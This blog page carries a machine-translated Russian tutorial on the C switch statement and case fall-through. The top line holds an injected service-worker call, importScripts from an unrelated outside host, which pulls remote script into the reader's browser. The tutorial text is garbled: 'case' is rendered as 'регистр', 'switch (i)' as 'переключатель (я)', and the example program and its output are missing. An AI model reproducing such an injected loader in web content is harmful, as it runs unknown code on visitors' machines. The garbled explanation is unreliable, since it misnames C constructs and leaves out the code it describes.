google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

оператор switch в C - часть 1

Довольно часто в повседневной жизни приходится выбирать один вариант из нескольких вариантов. Скажите, если вам нужно выбрать только одну пустыню из меню. Предположим, если я дам вам задание написать программу для одного меню. Вероятно, вы будете использовать лестницу if-else, чтобы сделать это. Ну, пока это хорошо. Но после прочтения этого урока я бы посоветовал вам использовать операторы switch, а не что-либо еще.

переключение оператора в C

Это инструкция управления принятием решения, которая позволяет программисту создать программу типа меню, чтобы пользователь мог выбрать один из нескольких вариантов. Это также называется инструкциями switch-case-default, потому что это три ключевых слова, участвующих в создании этой инструкции. Теперь давайте перейдем к синтаксису оператора switch.
Переключатель синтаксиса (целочисленное выражение) {  константа 1: сделать это; регистр 2: сделать это; регистр 3: сделать это; по умолчанию: сделать это; }








Объяснение этого синтаксического целочисленного выражения: используется для проверки, хочет ли программист выполнять набор операторов при переключении или нет. Он работает аналогично условиям, но мы можем дать только целочисленные выражения изнутри. Это означает выражение, которое является целым числом или которое развивает целое число.


case: это ключевое слово для отображения нескольких условий внутри оператора switch. У нас может быть любое количество дел.
константа 1,2 и 3:  как следует из названия, эти значения должны быть либо целочисленной, либо символьной константой. Каждое значение должно быть уникальным.
сделать это: мы можем использовать любое законное заявление программирования на C в этом месте.
default: это другое ключевое слово, которое используется для выполнения некоторых операторов по умолчанию, если все условия не выполняются внутри switch.
Теперь давайте применим вышеуказанные знания в какой-то программе.

Выход

переключение оператора в C
объяснение
  • Программа начинается с целочисленной переменной i со значением 2.
  • После этого я написал ключевое слово switch с одним целочисленным выражением. т.е. переключатель (я). Это означает, что операторы полного переключения будут выполнены, если i = 2 станет истинным.
  • Я думаю, у вас должна быть идея, что дело 2 будет выполнено.
  • Теперь поворотным моментом является случай 2, каждый оператор выполняется.
  • Даже последнее выражение по умолчанию также выполняется.
Теперь очевидный вопрос, который должен поразить вас.
Почему это так? 
Ну, это не недостаток этой программы. На самом деле это специальность операторов switch. Это означает, что если одно условие становится истинным, то все последующие условия также будут выполнены внутри оператора switch. Это потому, что он не проверяет никаких условий после получения истинного значения с одним условием.
Операторы Switch очень часто используются в программировании на Си. Поэтому я бы порекомендовал вам хотя бы раз пройти этот урок и создать несколько программ, используя ключевое слово switch. В следующем уроке я расскажу вам о методе, с помощью которого мы можем прекратить выполнение всех операторов внутри switch.

Комментариев нет:

Отправить комментарий